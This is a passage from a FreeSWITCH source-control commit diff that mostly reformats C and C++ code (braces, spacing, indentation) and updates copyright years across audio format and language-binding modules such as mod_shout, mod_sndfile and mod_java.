+ if (context->pid < 0) { /* ok maybe not */
goto error;
- } else if (context->pid) { /* parent */
+ } else if (context->pid) { /* parent */
handle->private_info = context;
status = SWITCH_STATUS_SUCCESS;
close(context->fds[1]);
@@ -124,19 +124,19 @@
switch_thread_rwlock_create(&context->rwlock, handle->memory_pool);
switch_mutex_init(&context->mutex, SWITCH_MUTEX_NESTED, handle->memory_pool);
-
+
switch_threadattr_create(&thd_attr, handle->memory_pool);
switch_threadattr_detach_set(thd_attr, 1);
switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
switch_thread_create(&thread, thd_attr, buffer_thread_run, context, handle->memory_pool);
context->running = 2;
- while(context->running == 2) {
+ while (context->running == 2) {
switch_cond_next();
}
goto end;
- } else { /* child */
+ } else { /* child */
close(context->fds[0]);
dup2(context->fds[1], STDOUT_FILENO);
switch_system(context->command, SWITCH_TRUE);
@@ -146,22 +146,22 @@
}
}
- error:
+ error:
close(context->fds[0]);
close(context->fds[1]);
status = SWITCH_STATUS_FALSE;
-
- end:
-
+
+ end:
+
return status;
}
static switch_status_t shell_stream_file_close(switch_file_handle_t *handle)
{
shell_stream_context_t *context = handle->private_info;
-
+
context->running = 0;
if (context->fds[0] > -1) {
@@ -184,10 +184,10 @@
switch_status_t status = SWITCH_STATUS_SUCCESS;
switch_size_t rlen = *len * 2;
- while(context->running && switch_buffer_inuse(context->audio_buffer) < rlen) {
+ while (context->running && switch_buffer_inuse(context->audio_buffer) < rlen) {
switch_cond_next();
}
-
+
switch_mutex_lock(context->mutex);
*len = switch_buffer_read(context->audio_buffer, data, rlen) / 2;
switch_mutex_unlock(context->mutex);
Modified: freeswitch/trunk/src/mod/formats/mod_shout/mod_shout.c (16578 => 16579)
--- freeswitch/trunk/src/mod/formats/mod_shout/mod_shout.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_shout/mod_shout.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -55,12 +55,12 @@
uint32_t outscale;
} globals;
-mpg123_handle *our_mpg123_new(const char* decoder, int *error)
+mpg123_handle *our_mpg123_new(const char *decoder, int *error)
{
mpg123_handle *mh;
const char *arch = "auto";
int x64 = 0;
-
+
if (*globals.decoder || globals.outscale || globals.vol) {
if (*globals.decoder) {
arch = globals.decoder;
@@ -159,17 +159,17 @@
mpg123_close(context->mh);
mpg123_delete(context->mh);
}
-
+
if (context->fp) {
unsigned char mp3buffer[8192];
int len;
- int16_t blank[2048] = {0}, *r = NULL;
-
-
+ int16_t blank[2048] = { 0 }, *r = NULL;
+
+
if (context->channels == 2) {
r = blank;
}
-
+
len = lame_encode_buffer(context->gfp, blank, r, sizeof(blank) / 2, mp3buffer, sizeof(mp3buffer));
if (len) {
@@ -182,7 +182,7 @@
break;
}
}
-
+
lame_mp3_tags_fid(context->gfp, context->fp);
fclose(context->fp);
@@ -292,7 +292,7 @@
{
int decode_status = 0;
size_t usedlen;
-
+
while (!context->err && !context->eof && switch_buffer_inuse(context->audio_buffer) < bytes) {
usedlen = 0;
@@ -332,8 +332,8 @@
shout_context_t *context = data;
int decode_status = 0;
size_t usedlen;
- uint32_t used, buf_size = 1024 * 128; /* do not make this 64 or less, stutter will ensue after
- first 64k buffer is dry */
+ uint32_t used, buf_size = 1024 * 128; /* do not make this 64 or less, stutter will ensue after
+ first 64k buffer is dry */
if (context->prebuf) {
buf_size = context->prebuf;
@@ -387,7 +387,7 @@
if (context->err) {
goto error;
}
-
+
return realsize;
error:
@@ -405,7 +405,7 @@
CURL *curl_handle = NULL;
CURLcode cc;
shout_context_t *context = (shout_context_t *) obj;
-
+
switch_thread_rwlock_rdlock(context->rwlock);
curl_handle = curl_easy_init();
@@ -416,13 +416,14 @@
curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *) context);
curl_easy_setopt(curl_handle, CURLOPT_USERAGENT, "FreeSWITCH(mod_shout)/1.0");
curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
- curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, 30); /* eventually timeout connect */
- curl_easy_setopt(curl_handle, CURLOPT_LOW_SPEED_LIMIT, 100); /* handle trickle connections */
+ curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, 30); /* eventually timeout connect */
+ curl_easy_setopt(curl_handle, CURLOPT_LOW_SPEED_LIMIT, 100); /* handle trickle connections */
curl_easy_setopt(curl_handle, CURLOPT_LOW_SPEED_TIME, 30);
curl_easy_setopt(curl_handle, CURLOPT_ERRORBUFFER, context->curl_error_buff);
cc = curl_easy_perform(curl_handle);
- if (cc && cc != CURLE_WRITE_ERROR) { /* write error is ok, we just exited from callback early */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "CURL returned error:[%d] %s : %s [%s]\n", cc, curl_easy_strerror(cc), context->curl_error_buff, context->stream_url);
+ if (cc && cc != CURLE_WRITE_ERROR) { /* write error is ok, we just exited from callback early */
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "CURL returned error:[%d] %s : %s [%s]\n", cc, curl_easy_strerror(cc),
+ context->curl_error_buff, context->stream_url);
}
curl_easy_cleanup(curl_handle);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Read Thread Done\n");
@@ -453,7 +454,7 @@
switch_mutex_unlock(context->audio_mutex);
if (used >= (2 * context->samplerate)) {
- break;
+ break;
}
switch_yield(500000);
@@ -566,7 +567,8 @@
while (context->thread_running && context->thread_running != 2) {
switch_yield(100000);
- if (!--sanity) break;
+ if (!--sanity)
+ break;
}
}
@@ -590,9 +592,9 @@
context->memory_pool = handle->memory_pool;
context->samplerate = handle->samplerate;
context->handle = handle;
-
+
switch_thread_rwlock_create(&(context->rwlock), context->memory_pool);
-
+
switch_thread_rwlock_rdlock(context->rwlock);
switch_mutex_init(&context->audio_mutex, SWITCH_MUTEX_NESTED, context->memory_pool);
@@ -605,10 +607,10 @@
context->mh = our_mpg123_new(NULL, NULL);
mpg123_format_all(context->mh);
- mpg123_param(context->mh, MPG123_FORCE_RATE, context->samplerate, 0);
+ mpg123_param(context->mh, MPG123_FORCE_RATE, context->samplerate, 0);
if (handle->handler) {
- mpg123_param(context->mh, MPG123_FLAGS, MPG123_SEEKBUFFER|MPG123_MONO_MIX, 0);
+ mpg123_param(context->mh, MPG123_FLAGS, MPG123_SEEKBUFFER | MPG123_MONO_MIX, 0);
if (mpg123_open_feed(context->mh) != MPG123_OK) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening mpg feed\n");
goto error;
@@ -800,7 +802,7 @@
}
switch_buffer_zero(context->audio_buffer);
- *cur_sample = mpg123_seek (context->mh, (off_t)samples, whence);
+ *cur_sample = mpg123_seek(context->mh, (off_t) samples, whence);
return *cur_sample >= 0 ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
}
@@ -827,9 +829,9 @@
if (!rb && (context->eof || context->err)) {
return SWITCH_STATUS_FALSE;
}
-
+
/* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "rb: %d, bytes: %d\n", (int) rb, (int) bytes); */
-
+
if (rb) {
*len = rb / sizeof(int16_t);
} else {
@@ -839,7 +841,7 @@
bytes = newbytes;
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Padding mp3 stream with 1s of empty audio. (%s)\n", context->stream_url);
-
+
memset(data, 255, bytes);
*len = bytes / sizeof(int16_t);
}
@@ -918,18 +920,18 @@
if (handle->channels == 2) {
switch_size_t i, j = 0;
-
+
if (context->llen < nsamples) {
context->l = switch_core_alloc(context->memory_pool, nsamples * 2);
context->r = switch_core_alloc(context->memory_pool, nsamples * 2);
context->llen = context->rlen = nsamples;
}
-
+
for (i = 0; i < nsamples; i++) {
context->l[i] = audio[j++];
context->r[i] = audio[j++];
}
-
+
if ((rlen = lame_encode_buffer(context->gfp, context->l, context->r, nsamples, context->mp3buf, context->mp3buflen)) < 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "MP3 encode error %d!\n", rlen);
return SWITCH_STATUS_FALSE;
@@ -1130,7 +1132,7 @@
switch_mutex_t *mutex;
switch_channel_t *channel = switch_core_session_get_channel(tsession);
lame_global_flags *gfp = NULL;
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
switch_core_session_get_read_impl(tsession, &read_impl);
if (switch_channel_test_flag(channel, CF_PROXY_MODE)) {
@@ -1322,7 +1324,7 @@
void do_index(switch_stream_handle_t *stream)
{
- switch_cache_db_handle_t *db;
+ switch_cache_db_handle_t *db;
const char *sql = "select * from channels";
struct holder holder;
char *errmsg;
@@ -1407,7 +1409,7 @@
switch_xml_t cfg, xml, settings, param;
memset(&globals, 0, sizeof(globals));
-
+
if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
return SWITCH_STATUS_TERM;
@@ -1417,11 +1419,11 @@
for (param = switch_xml_child(settings, "param"); param; param = param->next) {
char *var = (char *) switch_xml_attr_soft(param, "name");
char *val = (char *) switch_xml_attr_soft(param, "value");
-
+
if (!strcmp(var, "decoder")) {
switch_set_string(globals.decoder, val);
} else if (!strcmp(var, "volume")) {
- globals.vol = (float)atof(val);
+ globals.vol = (float) atof(val);
} else if (!strcmp(var, "outscale")) {
int tmp = atoi(val);
if (tmp > 0) {
@@ -1430,8 +1432,8 @@
}
}
}
-
+
switch_xml_free(xml);
return SWITCH_STATUS_SUCCESS;
Modified: freeswitch/trunk/src/mod/formats/mod_sndfile/mod_sndfile.c (16578 => 16579)
--- freeswitch/trunk/src/mod/formats/mod_sndfile/mod_sndfile.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_sndfile/mod_sndfile.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -64,7 +64,7 @@
switch_status_t status = SWITCH_STATUS_SUCCESS;
char *alt_path = NULL, *last, *ldup = NULL;
size_t alt_len = 0;
- int rates[4] = {8000, 16000, 32000, 48000};
+ int rates[4] = { 8000, 16000, 32000, 48000 };
int i;
#ifdef WIN32
char ps = '\\';
@@ -161,12 +161,12 @@
/* This block attempts to add the sample rate to the path
if the sample rate is already present in the path it does nothing
and reverts to the original file name.
- */
+ */
if ((last = strrchr(alt_path, ps))) {
last++;
#ifdef WIN32
if (strrchr(last, '/')) {
- last = strrchr(alt_path, '/'); /* do not swallow a forward slash if they are intermixed under windows*/
+ last = strrchr(alt_path, '/'); /* do not swallow a forward slash if they are intermixed under windows */
last++;
}
#endif
@@ -178,7 +178,7 @@
} else {
/* Try to find the file at the highest rate possible if we can't find one that matches the exact rate.
If we don't find any, we will default back to the original file name.
- */
+ */
for (i = 3; i >= 0; i--) {
switch_snprintf(last, alt_len - (last - alt_path), "%d%s%s", rates[i], SWITCH_PATH_SEPARATOR, ldup);
if ((context->handle = sf_open(alt_path, mode, &context->sfinfo))) {
Modified: freeswitch/trunk/src/mod/formats/mod_tone_stream/mod_tone_stream.c (16578 => 16579)
--- freeswitch/trunk/src/mod/formats/mod_tone_stream/mod_tone_stream.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_tone_stream/mod_tone_stream.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -58,7 +58,7 @@
sh->samples = 0;
sh->forever = 1;
}
-
+
if ((p = strchr(path, ','))) {
p++;
ms = atoi(p);
@@ -80,19 +80,19 @@
static switch_status_t silence_stream_file_read(switch_file_handle_t *handle, void *data, size_t *len)
{
struct silence_handle *sh = handle->private_info;
-
+
if (!sh->forever) {
if (sh->samples <= 0) {
return SWITCH_STATUS_FALSE;
}
- if (*len > (size_t)sh->samples) {
+ if (*len > (size_t) sh->samples) {
*len = sh->samples;
}
sh->samples -= *len;
}
-
+
if (sh->silence) {
switch_generate_sln_silence((int16_t *) data, *len, sh->silence);
} else {
Modified: freeswitch/trunk/src/mod/languages/mod_java/freeswitch_java.h (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_java/freeswitch_java.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_java/freeswitch_java.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -6,21 +6,19 @@
extern JavaVM *javaVM;
-class JavaSession : public CoreSession
-{
- public:
- JavaSession();
- JavaSession(char *uuid);
- JavaSession(switch_core_session_t *session);
- virtual ~JavaSession();
+class JavaSession:public CoreSession {
+ public:
+ JavaSession();
+ JavaSession(char *uuid);
+ JavaSession(switch_core_session_t *session);
+ virtual ~ JavaSession();
- virtual bool begin_allow_threads();
- virtual bool end_allow_threads();
- void setDTMFCallback(jobject dtmfCallback, char *funcargs);
- void setHangupHook(jobject hangupHook);
- virtual void check_hangup_hook();
- virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
+ virtual bool begin_allow_threads();
+ virtual bool end_allow_threads();
+ void setDTMFCallback(jobject dtmfCallback, char *funcargs);
+ void setHangupHook(jobject hangupHook);
+ virtual void check_hangup_hook();
+ virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
};
#endif
-
Modified: freeswitch/trunk/src/mod/languages/mod_java/modjava.c (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_java/modjava.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_java/modjava.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -45,236 +45,205 @@
SWITCH_MODULE_DEFINITION(mod_java, mod_java_load, mod_java_shutdown, NULL);
-static void launch_java(switch_core_session_t *session, const char *data, JNIEnv *env)
+static void launch_java(switch_core_session_t *session, const char *data, JNIEnv * env)
{
- jclass Launcher = NULL;
- jmethodID launch = NULL;
- jstring uuid = NULL;
- jstring args = NULL;
+ jclass Launcher = NULL;
+ jmethodID launch = NULL;
+ jstring uuid = NULL;
+ jstring args = NULL;
- Launcher = (*env)->FindClass(env, "org/freeswitch/Launcher");
- if (Launcher == NULL)
- {
- (*env)->ExceptionDescribe(env);
- goto done;
- }
+ Launcher = (*env)->FindClass(env, "org/freeswitch/Launcher");
+ if (Launcher == NULL) {
+ (*env)->ExceptionDescribe(env);
+ goto done;
+ }
- launch = (*env)->GetStaticMethodID(env, Launcher, "launch", "(Ljava/lang/String;Ljava/lang/String;)V");
- if (launch == NULL)
- {
- (*env)->ExceptionDescribe(env);
- goto done;
- }
+ launch = (*env)->GetStaticMethodID(env, Launcher, "launch", "(Ljava/lang/String;Ljava/lang/String;)V");
+ if (launch == NULL) {
+ (*env)->ExceptionDescribe(env);
+ goto done;
+ }
- uuid = (*env)->NewStringUTF(env, switch_core_session_get_uuid(session));
- if (uuid == NULL)
- {
- (*env)->ExceptionDescribe(env);
- goto done;
- }
+ uuid = (*env)->NewStringUTF(env, switch_core_session_get_uuid(session));
+ if (uuid == NULL) {
+ (*env)->ExceptionDescribe(env);
+ goto done;
+ }
- args = (*env)->NewStringUTF(env, data);
- if (args == NULL)
- {
- (*env)->ExceptionDescribe(env);
- goto done;
- }
+ args = (*env)->NewStringUTF(env, data);
+ if (args == NULL) {
+ (*env)->ExceptionDescribe(env);
+ goto done;
+ }
- (*env)->CallStaticVoidMethod(env, Launcher, launch, uuid, args);
- if ((*env)->ExceptionOccurred(env))
- (*env)->ExceptionDescribe(env);
+ (*env)->CallStaticVoidMethod(env, Launcher, launch, uuid, args);
+ if ((*env)->ExceptionOccurred(env))
+ (*env)->ExceptionDescribe(env);
-done:
- if (args != NULL)
- (*env)->DeleteLocalRef(env, args);
- if (uuid != NULL)
- (*env)->DeleteLocalRef(env, uuid);
- if (Launcher != NULL)
- (*env)->DeleteLocalRef(env, Launcher);
+ done:
+ if (args != NULL)
+ (*env)->DeleteLocalRef(env, args);
+ if (uuid != NULL)
+ (*env)->DeleteLocalRef(env, uuid);
+ if (Launcher != NULL)
+ (*env)->DeleteLocalRef(env, Launcher);
}
SWITCH_STANDARD_APP(java_function)
{
- JNIEnv *env;
- jint res;
+ JNIEnv *env;
+ jint res;
- if (javaVM == NULL)
- return;
+ if (javaVM == NULL)
+ return;
- res = (*javaVM)->AttachCurrentThread(javaVM, (void*) &env, NULL);
- if (res == JNI_OK)
- {
- launch_java(session, data, env);
- (*javaVM)->DetachCurrentThread(javaVM);
- }
- else
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error attaching thread to Java VM!\n");
+ res = (*javaVM)->AttachCurrentThread(javaVM, (void *) &env, NULL);
+ if (res == JNI_OK) {
+ launch_java(session, data, env);
+ (*javaVM)->DetachCurrentThread(javaVM);
+ } else
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error attaching thread to Java VM!\n");
}
-static switch_status_t load_config(JavaVMOption **javaOptions, int *optionCount)
+static switch_status_t load_config(JavaVMOption ** javaOptions, int *optionCount)
{
- switch_xml_t cfg, xml;
- switch_status_t status;
+ switch_xml_t cfg, xml;
+ switch_status_t status;
- xml = switch_xml_open_cfg("java.conf", &cfg, NULL);
- if (xml)
- {
- switch_xml_t javavm;
- switch_xml_t options;
+ xml = switch_xml_open_cfg("java.conf", &cfg, NULL);
+ if (xml) {
+ switch_xml_t javavm;
+ switch_xml_t options;
- javavm = switch_xml_child(cfg, "javavm");
- if (javavm != NULL)
- {
- const char *path = switch_xml_attr_soft(javavm, "path");
- if (path != NULL)
- {
- status = switch_dso_load(&javaVMHandle, path, memoryPool);
- if (status != SWITCH_STATUS_SUCCESS)
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error loading %s\n", path);
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Java VM path specified in java.conf.xml\n");
- status = SWITCH_STATUS_FALSE;
- }
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Java VM specified in java.conf.xml\n");
- status = SWITCH_STATUS_FALSE;
- goto close;
- }
+ javavm = switch_xml_child(cfg, "javavm");
+ if (javavm != NULL) {
+ const char *path = switch_xml_attr_soft(javavm, "path");
+ if (path != NULL) {
+ status = switch_dso_load(&javaVMHandle, path, memoryPool);
+ if (status != SWITCH_STATUS_SUCCESS)
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error loading %s\n", path);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Java VM path specified in java.conf.xml\n");
+ status = SWITCH_STATUS_FALSE;
+ }
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Java VM specified in java.conf.xml\n");
+ status = SWITCH_STATUS_FALSE;
+ goto close;
+ }
- options = switch_xml_child(cfg, "options");
- if (options != NULL)
- {
- switch_xml_t option;
- int i = 0;
- *optionCount = 0;
- for (option = switch_xml_child(options, "option"); option; option = option->next)
- {
- const char *value = switch_xml_attr_soft(option, "value");
- if (value != NULL)
- ++*optionCount;
- }
- *optionCount += 1;
- *javaOptions = switch_core_alloc(memoryPool, (switch_size_t)(*optionCount * sizeof(JavaVMOption)));
- if (*javaOptions == NULL)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Out of memory!\n");
- status = SWITCH_STATUS_FALSE;
- goto close;
- }
- for (option = switch_xml_child(options, "option"); option; option = option->next)
- {
- const char *value = switch_xml_attr_soft(option, "value");
- if (value == NULL)
- continue;
- (*javaOptions)[i].optionString = switch_core_strdup(memoryPool, value);
- if ((*javaOptions)[i].optionString == NULL)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Out of memory!\n");
- status = SWITCH_STATUS_FALSE;
- goto close;
- }
- ++i;
- }
- (*javaOptions)[i].optionString = "-Djava.library.path=" SWITCH_PREFIX_DIR SWITCH_PATH_SEPARATOR "mod";
- }
+ options = switch_xml_child(cfg, "options");
+ if (options != NULL) {
+ switch_xml_t option;
+ int i = 0;
+ *optionCount = 0;
+ for (option = switch_xml_child(options, "option"); option; option = option->next) {
+ const char *value = switch_xml_attr_soft(option, "value");
+ if (value != NULL)
+ ++ * optionCount;
+ }
+ *optionCount += 1;
+ *javaOptions = switch_core_alloc(memoryPool, (switch_size_t) (*optionCount * sizeof(JavaVMOption)));
+ if (*javaOptions == NULL) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Out of memory!\n");
+ status = SWITCH_STATUS_FALSE;
+ goto close;
+ }
+ for (option = switch_xml_child(options, "option"); option; option = option->next) {
+ const char *value = switch_xml_attr_soft(option, "value");
+ if (value == NULL)
+ continue;
+ (*javaOptions)[i].optionString = switch_core_strdup(memoryPool, value);
+ if ((*javaOptions)[i].optionString == NULL) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Out of memory!\n");
+ status = SWITCH_STATUS_FALSE;
+ goto close;
+ }
+ ++i;
+ }
+ (*javaOptions)[i].optionString = "-Djava.library.path=" SWITCH_PREFIX_DIR SWITCH_PATH_SEPARATOR "mod";
+ }
- close:
- switch_xml_free(xml);
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening java.conf.xml\n");
- status = SWITCH_STATUS_FALSE;
- }
- return status;
+ close:
+ switch_xml_free(xml);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening java.conf.xml\n");
+ status = SWITCH_STATUS_FALSE;
+ }
+ return status;
}
-static switch_status_t create_java_vm(JavaVMOption *options, int optionCount)
+static switch_status_t create_java_vm(JavaVMOption * options, int optionCount)
{
- jint (JNICALL *pJNI_CreateJavaVM)(JavaVM**,void**,void*);
- switch_status_t status;
+ jint(JNICALL * pJNI_CreateJavaVM) (JavaVM **, void **, void *);
+ switch_status_t status;
- status = switch_dso_sym((void*) &pJNI_CreateJavaVM, javaVMHandle, "JNI_CreateJavaVM");
- if (status == SWITCH_STATUS_SUCCESS)
- {
- JNIEnv *env;
- JavaVMInitArgs initArgs;
- jint res;
+ status = switch_dso_sym((void *) &pJNI_CreateJavaVM, javaVMHandle, "JNI_CreateJavaVM");
+ if (status == SWITCH_STATUS_SUCCESS) {
+ JNIEnv *env;
+ JavaVMInitArgs initArgs;
+ jint res;
- memset(&initArgs, 0, sizeof(initArgs));
- initArgs.version = JNI_VERSION_1_4;
- initArgs.nOptions = optionCount;
- initArgs.options = options;
- initArgs.ignoreUnrecognized = JNI_TRUE;
+ memset(&initArgs, 0, sizeof(initArgs));
+ initArgs.version = JNI_VERSION_1_4;
+ initArgs.nOptions = optionCount;
+ initArgs.options = options;
+ initArgs.ignoreUnrecognized = JNI_TRUE;
- res = pJNI_CreateJavaVM(&javaVM, (void*) &env, &initArgs);
- if (res == JNI_OK)
- {
- (*javaVM)->DetachCurrentThread(javaVM);
- status = SWITCH_STATUS_SUCCESS;
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error creating Java VM!\n");
- status = SWITCH_STATUS_FALSE;
- }
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Specified Java VM doesn't have JNI_CreateJavaVM\n");
- status = SWITCH_STATUS_FALSE;
- }
- return status;
+ res = pJNI_CreateJavaVM(&javaVM, (void *) &env, &initArgs);
+ if (res == JNI_OK) {
+ (*javaVM)->DetachCurrentThread(javaVM);
+ status = SWITCH_STATUS_SUCCESS;
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error creating Java VM!\n");
+ status = SWITCH_STATUS_FALSE;
+ }
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Specified Java VM doesn't have JNI_CreateJavaVM\n");
+ status = SWITCH_STATUS_FALSE;
+ }
+ return status;
}
SWITCH_MODULE_LOAD_FUNCTION(mod_java_load)
{
- switch_status_t status;
- JavaVMOption *options = NULL;
- int optionCount = 0;
+ switch_status_t status;
+ JavaVMOption *options = NULL;
+ int optionCount = 0;
switch_application_interface_t *app_interface;
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_APP(app_interface, "java", NULL, NULL, java_function, NULL, SAF_SUPPORT_NOMEDIA);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Java Framework Loading...\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Java Framework Loading...\n");
- if (javaVM != NULL)
- return SWITCH_STATUS_SUCCESS;
+ if (javaVM != NULL)
+ return SWITCH_STATUS_SUCCESS;
- status = switch_core_new_memory_pool(&memoryPool);
- if (status == SWITCH_STATUS_SUCCESS)
- {
- status = load_config(&options, &optionCount);
- if (status == SWITCH_STATUS_SUCCESS)
- {
- status = create_java_vm(options, optionCount);
- if (status == SWITCH_STATUS_SUCCESS)
- return SWITCH_STATUS_SUCCESS;
- switch_dso_unload(javaVMHandle);
- }
- switch_core_destroy_memory_pool(&memoryPool);
- }
- else
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error creating memory pool\n");
+ status = switch_core_new_memory_pool(&memoryPool);
+ if (status == SWITCH_STATUS_SUCCESS) {
+ status = load_config(&options, &optionCount);
+ if (status == SWITCH_STATUS_SUCCESS) {
+ status = create_java_vm(options, optionCount);
+ if (status == SWITCH_STATUS_SUCCESS)
+ return SWITCH_STATUS_SUCCESS;
+ switch_dso_unload(javaVMHandle);
+ }
+ switch_core_destroy_memory_pool(&memoryPool);
+ } else
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error creating memory pool\n");
- return status == SWITCH_STATUS_SUCCESS ? SWITCH_STATUS_NOUNLOAD : status;
+ return status == SWITCH_STATUS_SUCCESS ? SWITCH_STATUS_NOUNLOAD : status;
}
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_java_shutdown)
{
- if (javaVM == NULL)
- return SWITCH_STATUS_FALSE;
+ if (javaVM == NULL)
+ return SWITCH_STATUS_FALSE;
- (*javaVM)->DestroyJavaVM(javaVM);
- javaVM = NULL;
- switch_dso_unload(javaVMHandle);
- switch_core_destroy_memory_pool(&memoryPool);
- return SWITCH_STATUS_SUCCESS;
+ (*javaVM)->DestroyJavaVM(javaVM);
+ javaVM = NULL;
+ switch_dso_unload(javaVMHandle);
+ switch_core_destroy_memory_pool(&memoryPool);
+ return SWITCH_STATUS_SUCCESS;
}
-
-
Modified: freeswitch/trunk/src/mod/languages/mod_lua/freeswitch_lua.h (16578 => 16579)
--- freeswitch/trunk/src/mod/languages/mod_lua/freeswitch_lua.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_lua/freeswitch_lua.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -7,41 +7,39 @@
#include <lualib.h>
#include "mod_lua_extra.h"
}
-
#include <switch_cpp.h>
-
namespace LUA {
-class Session : public CoreSession {
- private:
- virtual void do_hangup_hook();
- lua_State *getLUA();
- lua_State *L;
- int hh;
- int mark;
- public:
- Session();
- Session(char *uuid, CoreSession *a_leg = NULL);
- Session(switch_core_session_t *session);
- ~Session();
- SWITCH_MOD_DECLARE(virtual void) destroy(void);
-
- virtual bool begin_allow_threads();
- virtual bool end_allow_threads();
- virtual void check_hangup_hook();
+ class Session:public CoreSession {
+ private:
+ virtual void do_hangup_hook();
+ lua_State *getLUA();
+ lua_State *L;
+ int hh;
+ int mark;
+ public:
+ Session();
+ Session(char *uuid, CoreSession * a_leg = NULL);
+ Session(switch_core_session_t *session);
+ ~Session();
+ SWITCH_MOD_DECLARE(virtual void) destroy(void);
- virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
- void unsetInputCallback(void);
- void setInputCallback(char *cbfunc, char *funcargs = NULL);
- void setHangupHook(char *func, char *arg = NULL);
- bool ready();
- int originate(CoreSession *a_leg_session, char *dest, int timeout);
-
- char *cb_function;
- char *cb_arg;
- char *hangup_func_str;
- char *hangup_func_arg;
- void setLUA(lua_State *state);
+ virtual bool begin_allow_threads();
+ virtual bool end_allow_threads();
+ virtual void check_hangup_hook();
-};
+ virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
+ void unsetInputCallback(void);
+ void setInputCallback(char *cbfunc, char *funcargs = NULL);
+ void setHangupHook(char *func, char *arg = NULL);
+ bool ready();
+ int originate(CoreSession * a_leg_session, char *dest, int timeout);
+
